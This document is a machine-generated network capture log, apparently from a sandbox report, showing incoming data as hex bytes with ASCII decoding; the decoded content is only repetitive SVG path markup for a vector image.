2023-05-31 12:52:03 UTC	5228	IN	Data Raw: 36 37 2c 32 37 32 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 36 2e 36 39 2c 32 36 34 2e 34 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 Data Ascii: 67,272.57a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.19,3.33"></path><path class="cls-9" d="M366.69,264.49a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.63,2.63,0,0,1,3
2023-05-31 12:52:03 UTC	5244	IN	Data Raw: 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2e 32 35 2c 33 34 34 2e 31 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2c 33 33 36 2e 30 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 Data Ascii: ,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M402.25,344.16a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M402,336.08a2,2,0,0,1-.9,2.6,2
2023-05-31 12:52:03 UTC	5260	IN	Data Raw: 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 31 2e 36 37 2c 31 38 39 2e 38 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 Data Ascii: -3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M421.67,189.85a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><pa
2023-05-31 12:52:03 UTC	5276	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2e 32 33 2c 32 36 39 2e 35 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2c 32 36 31 2e 34 34 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c Data Ascii: "></path><path class="cls-9" d="M457.23,269.51a2,2,0,0,1-.9,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M457,261.44a2,2,0,0,1-.91,2.6,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,
2023-05-31 12:52:03 UTC	5292	IN	Data Raw: 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 35 32 2c 33 34 31 2e 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 32 35 2c 33 33 33 61 32 2c 32 2c 30 2c 30 Data Ascii: ,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M492.52,341.1a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"></path><path class="cls-9" d="M492.25,333a2,2,0,0
2023-05-31 12:52:03 UTC	5308	IN	Data Raw: 32 2e 38 2c 30 2c 30 2c 31 2c 35 30 38 2c 31 39 33 61 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2c 31 38 36 2e 37 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: 2.8,0,0,1,508,193a2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M512,186.79a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M
2023-05-31 12:52:03 UTC	5324	IN	Data Raw: 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 35 31 2c 32 36 36 2e 34 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 32 34 2c 32 35 38 2e 33 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 Data Ascii: 33"></path><path class="cls-9" d="M547.51,266.46a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M547.24,258.38a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.8
2023-05-31 12:52:04 UTC	5340	IN	Data Raw: 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 32 2e 38 2c 33 33 38 2e 30 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class="cls-9" d="M582.8,338.05a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path
2023-05-31 12:52:04 UTC	5356	IN	Data Raw: 33 38 2c 33 37 2e 37 35 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 33 2e 31 33 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2e 31 36 2c 33 31 2e 32 37 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 38 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c Data Ascii: 38,37.75a1.61,1.61,0,0,1-.72,2.09,2.37,2.37,0,0,1-3.13-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M333.16,31.27a1.59,1.59,0,0,1-.72,2.08,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.47-2.69,2.1,2.1,0,
2023-05-31 12:52:04 UTC	5372	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 37 2c 39 35 2e 32 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 38 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 34 38 2c 38 38 2e 37 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c Data Ascii: .67"></path><path class="cls-9" d="M361.7,95.2a1.59,1.59,0,0,1-.73,2.08,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M361.48,88.71a1.6,1.6,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,
2023-05-31 12:52:04 UTC	5388	IN	Data Raw: 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 30 2c 31 35 32 2e 36 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 39 2e 38 2c 31 34 36 2e 31 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c Data Ascii: ,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M390,152.64a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M389.8,146.16a1.61,1.61,0,0,1-.73,
2023-05-31 12:52:04 UTC	5404	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 36 31 2c 32 38 2e 38 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 33 Data Ascii: .24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.61,28.81a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.3
2023-05-31 12:52:04 UTC	5420	IN	Data Raw: 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 34 33 30 2e 33 2c 39 34 61 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 33 33 2e 39 33 2c 38 36 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: 34,2.34,0,0,1,430.3,94a2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M433.93,86.26a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2,0,0,1,.15,2.68"></path><
2023-05-31 12:52:04 UTC	5436	IN	Data Raw: 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 36 32 2e 32 35 2c 31 34 33 2e 37 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c Data Ascii: ,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"></path><path class="cls-9" d="M462.25,143.71a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,
2023-05-31 12:52:04 UTC	5452	IN	Data Raw: 73 2d 39 22 20 64 3d 22 4d 34 37 38 2e 30 35 2c 32 36 2e 33 36 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 37 2e 38 34 2c 31 39 2e 38 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e Data Ascii: s-9" d="M478.05,26.36a1.6,1.6,0,0,1-.72,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M477.84,19.88a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.
2023-05-31 12:52:04 UTC	5468	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 33 37 2c 38 33 2e 38 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 31 35 2c 37 37 2e 33 33 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 Data Ascii: .67"></path><path class="cls-9" d="M506.37,83.81a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M506.15,77.33a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88
2023-05-31 12:52:04 UTC	5484	IN	Data Raw: 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 36 39 2c 31 34 31 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 34 37 2c 31 33 34 2e 37 38 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 Data Ascii: 71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.69,141.26a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.47,134.78a1.62,1.62,0,0,1-.73,2.0
2023-05-31 12:52:04 UTC	5500	IN	Data Raw: 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 32 38 2c 31 37 2e 34 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 30 36 2c 31 31 61 31 2e 36 32 2c 31 2e 36 32 